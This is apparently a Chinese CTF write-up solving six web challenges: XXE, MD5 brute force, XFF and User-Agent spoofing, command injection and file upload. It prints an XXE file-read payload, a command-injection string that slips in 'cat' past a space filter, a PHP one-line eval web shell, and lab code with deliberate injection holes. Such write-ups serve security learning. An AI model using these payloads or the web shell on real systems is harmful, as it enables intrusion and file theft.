1.WEB xxe
1.打开实例,提示了flag所在的位置,直接访问看不到内容。除此之外还给了phpinfo,点击查看,注意到libxml版本为2.8.0,该版本存在xxe漏洞。
注:libxml2 2.9.0 到 2.9.8 版本存在XXE漏洞。
2.使用dirsearch扫一下,扫到了dom.php。
3.进入dom.php,发现了报错。
4.根据报错撰写payload然后发送,让flagggg.php中的信息以base64的形式回显出来。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" >
]>
<name>&xxe;</name>
5.查看响应。
6.base64解码一下。
完毕!
2.WEB 爆破
1.查看实例,发现是代码审计,简单分析一下。
输入的pass进行了MD5加密,然后检查密码的第2、15、18位字符是否相等,接下来计算密码的第2、15、18位字符的整数值,并判断它们的和是否等于密码的第32位字符的整数值。满足这些条件就可以拿到flag。
<?php
error_reporting(0);
if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
2.根据条件进行爆破。
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp' # 字符集
for a in dic:
for b in dic:
t = a + b # 组合两个字符
md5 = hashlib.md5(t.encode()).hexdigest() # 对组合的字符进行 MD5 哈希,转换为 16 进制表示的字符串
md5 = ''.join('0' if c.isalpha() else c for c in md5) # 将 MD5 字符串中的字母替换为数字 0
# 判断 MD5 哈希值的第 2、15、18 位字符是否相等
if md5[1] == md5[14] and md5[14] == md5[17]:
# 检查除数是否为零,避免零除错误
if int(md5[1]) != 0:
if ((int(md5[1]) + int(md5[14]) + int(md5[17])) / int(md5[1])) == int(md5[31]):
print(t)
exit()
运行结果:
3.传参,拿flag。
3.WEB XFF
1.启动实例!
2.根据题目给的提示,抓包修改IP,拿下!!
4.WEB rce1
1.查看代码,分析一下。
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
传入ip,如果 ip 参数值中不包含空格,则执行 ping 命令。
2.简答传一下看看,可以发现是有显示的。
3.下面就可以去试一试空格绕过,查看源代码拿到flag。
?ip=127.0.0.1|cat%09fllllaaag.php
5.WEB iphone
1.查看实例,根据给出的文字可以看到管理员菜单需要iphone或者ipad才能看到。
2.查看网页源代码,发现注释部分给了提示,给一个UA,也就是user-agent。
3.抓包,在user-agent中写iphone,拿下!
6.WEB ezupload
1.查看实例,经典的文件上传。上传个一句话木马查看一下,发现要GIF图片才能上传。
一句话木马:
<?php eval($_POST['a']);?>
2.修改一句话木马的后缀名,抓包后再改回去,然后上传。
3.蚁剑连接一下。
4.找到flag。